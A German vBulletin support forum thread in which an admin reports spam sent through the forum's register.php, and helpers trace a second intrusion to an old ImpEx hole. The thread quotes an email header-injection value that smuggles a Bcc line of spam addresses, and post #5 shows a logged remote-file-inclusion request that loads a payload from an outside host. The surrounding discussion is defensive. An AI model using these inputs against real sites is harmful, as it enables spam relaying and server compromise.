Ergebnis 1 bis 11 von 11

Thema: [Problem]: Spammails über ../forum/register.php POST /forum/register.php?do=addmember

  1. #1
    Benutzer
    Registriert seit
    12.10.2004
    Alter
    37
    Beiträge
    45

    [Problem]: Spammails über ../forum/register.php POST /forum/register.php?do=addmember

    Hallo Support,

    ich habe heute von meinem provider eine mail bekommen, in dem man mir folgendes mitgeteilt hat:

    wie ich soeben bei Wartungsarbeiten am Server festgestellt habe versenden Sie in massen Mails mittels eines php Scripts.
    Ich möchte Sie darauf aufmerksam machen das wir dies nicht dulden (siehe AGB's) und würde Sie bitten dies zu unterlassen.

    Das betroffene Script ist .../forum/register.php POST /forum/register.php?do=addmember

    Da wir davon ausgehen das dies nicht von Ihnen gewollt ist, haben wir das Script vorläufig per .htaccess in Ihrem Startverzeichnis, für den Aufruf über Webbrowser abgeschaltet.

    Bitte prüfen Sie daher Ihre Scripte da diese meist durch eine Sicherheitslücke zum spammen missbraucht werden. In diesem Fall sollten Sie auf diese Scripte verzichten oder aber auf eine aktuellere (sicherere) Version updaten.

    Mögliche Ursachen sind:


    Häufig wird durch Spammer versucht unsichere Formmail Scripte für Spam E-Mails zu missbrauchen.
    So haben viele Scripte zwar alle ein festes "mail to" hinterlegt, allerdings
    wurden die zu bespammenden Adressen nicht als "Mail to" eingetragen, sondern als "BCC".

    Dies funktioniert, wenn man im "From" z.B. folgendes einträgt:


    kunde@domain.de
    Bcc: test1@spamopfer.de, test2@spamopfer.de, [... bis 2045 Zeichen]

    Das Zeichen
    dient hier als Zeilenumbruch der es ermöglicht weitere Optionen an die Mail anzufügen.

    Um diesem Missbrauch vorzubeugen ist es notwenig daß man folgende Zeilen in das Formmail Script einfügt:


    für Perl
    chomp $input;
    die "ungültiges mailformat" unless ($input =~ m/^[a-zA-Z_-.0-9]+@[a-zA-Z_-.0-9]+$/);


    Ersetzten Sie die Variable $input durch die Variable, die in Ihrem Script die Mailadresse des Absenders enthält und fügen Sie
    die veränderte Zeile im Script vor dem Mailversand ein. Damit wird ein einfacher Test auf die Mailadresse angewandt,
    der den Missbrauch des Scriptes verhindert.

    für php

    if(!preg_match( '/^([a-zA-Z0-9])+([.a-zA-Z0-9_-])*@([a-zA-Z0-9_-])+(.[a-zA-Z0-9_-]+)+$/' , $input)) die("ungültiges mailformat");
    errrm .... wie ist das möglich und wie kann ich das beheben?

    Kann mir damit jemand helfen?

  2. #2
    Da das ein schwerwiegenderes Problem ist, solltest du ein Supportticket eröffnen.
    Scott me up, Beamie!!
    Unser vB: Television Board

  3. #3
    vBulletin-Germany Team Avatar von pogo
    Registriert seit
    01.06.2001
    Ort
    Hannover
    Alter
    36
    Beiträge
    13.901
    Blog-Einträge
    5
    Kannst du dir bitte von deinem Hoster genaue Logs geben lassen, an denen man auch erkennen kann, welche Skript-Aufrufe getätigt wurden?
    Entwickler-Blogs in deutsch, Farbe und BUNT!
    Mein Wunschzettel
    Warum du keine Anhänge herunterladen kannst!
    Suchst du Hacks, Add-ons, Modifikationen, Styles, Buttons und mehr? -> Auf zu vBGo!

  4. #4
    Benutzer
    Registriert seit
    12.10.2004
    Alter
    37
    Beiträge
    45
    Ich telefoniere morgen mit dem zuständigen Sachbearbeiter ... dann frag ich ihn wegen der logs

  5. #5
    Benutzer
    Registriert seit
    12.10.2004
    Alter
    37
    Beiträge
    45
    Neue version, Neue Mail ... neue Sicherheitslücke:
    hier der Aufruf:

    www.xyz.de***212.241.210.198 - - [13/Aug/2007:11:37:28 +0200] "POST /forum/impex/ImpExData.php?systempath=http://cropscircles.org/natwest2.zip? HTTP/1.1" 200 993106 "http://www.xyz.de/forum/impex/ImpExData.php?systempath=http://cropscircles.org/natwest2.zip?" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"

  6. #6
    vB-Guru
    Registriert seit
    20.12.2001
    Ort
    MS-Land
    Alter
    40
    Beiträge
    3.372
    Blog-Einträge
    5
    Das sieht fast nach der bekannten Lücke aus. ImpEx sollte man nach dem Gebrauch direkt wieder löschen.
    immer ans Backup denken!
    _________________________________

    Blutschwerter.de - Das Rollenspielportal für Pen&Paper

  7. #7
    Benutzer
    Registriert seit
    12.10.2004
    Alter
    37
    Beiträge
    45
    Ok habs ausgeklammert ... was ist mit dem zugriff auf die register.php ... Leider hab ich noch keine logs vorliegen hierzu ...

    Oder mal ne andere Frage ... wie müssen die Verzeichnis/File rechte aussehen bei einer vBulletin innstallation ... welche Files müssen schreibrechte haben ... und kann man die restlichen Files / Verzeichnisse auf 0755 setzen? ... finde leider keine Auflistung in den FAQs. Vielleicht hab ich hier ja was falsch

  8. #8
    vB-Guru
    Registriert seit
    20.12.2001
    Ort
    MS-Land
    Alter
    40
    Beiträge
    3.372
    Blog-Einträge
    5
    Bei einer Standardinstallation braucht keine Datei oder Verzeichnis schreibrechte.
    Dies muss nur für folgende Dinge geändert werden:

    Auslagerung der Styles: Schreibrechte in /clientscript/vbulletin_css
    Auslagerung der Avatare: Schreibrechte in customavatars
    Selbes gilt für anhänge und den Speicherordner.

    Dies kann sich bai Hacks natürlich weiter fortsetzen.
    immer ans Backup denken!
    _________________________________

    Blutschwerter.de - Das Rollenspielportal für Pen&Paper

  9. #9
    vB-Guru Avatar von h75
    Registriert seit
    01.09.2002
    Alter
    36
    Beiträge
    4.213
    Blog-Einträge
    1
    Wenn du CSS auslagerst, dann nur der Ordner /clientscript/vbulletin-css/
    Ansonsten braucht kein Ordner Schreibrechte.

    Bis auf Signaturen, User-Pics, Smilies usw die man ja auch auf dem Server ablegen kann. Wenn du das aber nicht nutzt, brauchen diese Ordner auch keine Schreibrechte.

    Wenn du vB normal entpackst und installierst, haben 0 Ordner Schreibrechte.
    greetz H75
    Polizist: "Hey Sie mit dem Fahrrad, stop bitte! Dies ist eine Verkehrskontrolle." Ja ich weiss, ich darf auf dem Gehweg nicht fahren. Polizist: "Darum hab ich sie nich angehalten. Mich würde eher interessieren, wo ihre linke Hand ist." Das würde mich auch mal interessieren...

  10. #10
    vB-Guru
    Registriert seit
    20.12.2001
    Ort
    MS-Land
    Alter
    40
    Beiträge
    3.372
    Blog-Einträge
    5
    Diesmal war ich schneller. *fg* SCNR
    immer ans Backup denken!
    _________________________________

    Blutschwerter.de - Das Rollenspielportal für Pen&Paper

  11. #11
    vBulletin-Germany Team Avatar von pogo
    Registriert seit
    01.06.2001
    Ort
    Hannover
    Alter
    36
    Beiträge
    13.901
    Blog-Einträge
    5
    Nur noch mal zur Sicherheit:

    Dieser Fehler in Impex wurde vor über einem Jahr bereits behoben (April 2006). Sollte dein ImpEx-Download länger zurückliegen, bist du natürlich betroffen, falls du ImpEx nicht gelöscht hast.

    Wir haben übrigens in einem eBulletin vom 7.April 2006 darauf hingewiesen.
    Entwickler-Blogs in deutsch, Farbe und BUNT!
    Mein Wunschzettel
    Warum du keine Anhänge herunterladen kannst!
    Suchst du Hacks, Add-ons, Modifikationen, Styles, Buttons und mehr? -> Auf zu vBGo!

Aktive Benutzer

Aktive Benutzer

Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)

Lesezeichen

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •